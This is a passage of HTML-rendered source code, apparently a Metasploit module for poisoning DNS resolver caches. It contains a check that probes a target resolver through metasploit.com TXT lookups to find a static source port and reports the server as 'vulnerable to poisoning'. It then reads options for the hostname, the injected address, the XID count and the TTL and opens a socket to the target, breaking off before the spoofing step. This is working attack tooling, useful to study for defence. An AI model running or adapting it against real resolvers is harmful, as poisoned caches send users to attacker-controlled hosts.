<br/>69&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return <br/>70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>71&nbsp;&nbsp;<br/>72&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;Using the Metasploit service to verify exploitability...&#34;) <br/>73&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock = Rex::Socket.cr&#101;ate_udp( <br/>74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;PeerHost&#39; =&gt; targ, <br/>75&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;PeerPort&#39; =&gt; 53 <br/>76&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>77&nbsp;&nbsp;<br/>78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; random = false <br/>79&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ports&nbsp;&nbsp;= [] <br/>80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lport&nbsp;&nbsp;= nil <br/>81&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>82&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.upto(5) do |i| <br/>83&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req = Resolv::DNS::Message.new <br/>85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; txt = &#34;spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com&#34; <br/>86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_question(txt, Resolv::DNS::Resource::IN::TXT) <br/>87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.rd = 1 <br/>88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>89&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock.put(req.encode) <br/>90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res, addr = srv_sock.recvfrom() <br/>91&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>92&nbsp;&nbsp;<br/>93&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if res and res.length &gt; 0 <br/>94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res = Resolv::DNS::Message.decode(res) <br/>95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res.each_answer do |name, ttl, data| <br/>96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name.to_s == txt and data.strings.join(&#39;&#39;) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) <br/>97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t_addr, t_port = $1.split(&#39;:&#39;) <br/>98&nbsp;&nbsp;<br/>99&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34; &gt;&gt; ADDRESS: #{t_addr}&nbsp;&nbsp;PORT: #{t_port}&#34;) <br/>100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t_port = t_port.to_i <br/>101&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(lport and lport != t_port) <br/>102&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; random = true <br/>103&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>104&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lport&nbsp;&nbsp;= t_port <br/>105&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ports &lt;&lt; t_port <br/>106&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>107&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>108&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>109&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>110&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>111&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock.close <br/>112&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>113&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ports.length &lt; 5) <br/>114&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;UNKNOWN: This server did not reply to our vulnerability check requests&#34;) <br/>115&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return <br/>116&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>117&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>118&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(random) <br/>119&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;PASS: This server does not use a static source port. Ports: #{ports.join(&#34;, &#34;)}&#34;) <br/>120&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This server may still be exploitable, but not by this tool.&#34;) <br/>121&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else <br/>122&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;FAIL: This server uses static source ports and is vulnerable to poisoning&#34;) <br/>123&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>124&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>125&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>126&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def run <br/>127&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; target&nbsp;&nbsp; = rhost() <br/>128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; source&nbsp;&nbsp; = Rex::Socket.source_address(target) <br/>129&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sport&nbsp;&nbsp;&nbsp;&nbsp;= datastore[&#39;SRCPORT&#39;] <br/>130&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hostname = datastore[&#39;HOSTNAME&#39;] + &#39;.&#39; <br/>131&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; address&nbsp;&nbsp;= datastore[&#39;NEWADDR&#39;] <br/>132&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; recons&nbsp;&nbsp; = datastore[&#39;RECONS&#39;] <br/>133&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xids&nbsp;&nbsp;&nbsp;&nbsp; = datastore[&#39;XIDS&#39;].to_i <br/>134&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= datastore[&#39;TTL&#39;].to_i <br/>135&nbsp;&nbsp;<br/>136&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] <br/>137&nbsp;&nbsp;<br/>138&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock = Rex::Socket.cr&#101;ate_udp( <br/>139&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;PeerHost&#39; =&gt; target, <br/>140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;PeerPort&#39; =&gt; 53 <br/>141&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) <br/>142&nbsp;&nbsp;<br/>143&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Get the source port via the metasploit service if it&#39;s not set <br/>144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if sport.to_i == 0 <br/>145&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req = Resolv::DNS::Message.new <br/>146&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; txt = &#34;spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com&#34; <br/>147&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_question(txt, Resolv::DNS::Resource::IN::TXT) <br/>148&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.rd = 1 <br/>149&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>150&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; srv_sock.put(req.encode) <br/>151&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res, addr = srv_sock.recvfrom() <br/>152&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>153&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if res and res.length &gt; 0 <br/>154&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res = Resolv::DNS::Message.decode(res) <br/>155&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res.each_answer do |name, ttl, data| <br/>156&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name.to_s == txt and data.strings.join(&#39;&#39;) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) <br/>157&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t_addr, t_port = $1.split(&#39;:&#39;) <br/>158&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sport = t_port.to_i <br/>159&nbsp;&nbsp;<br/>160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;Switching to target port #{sport} based on Metasploit service&#34;) 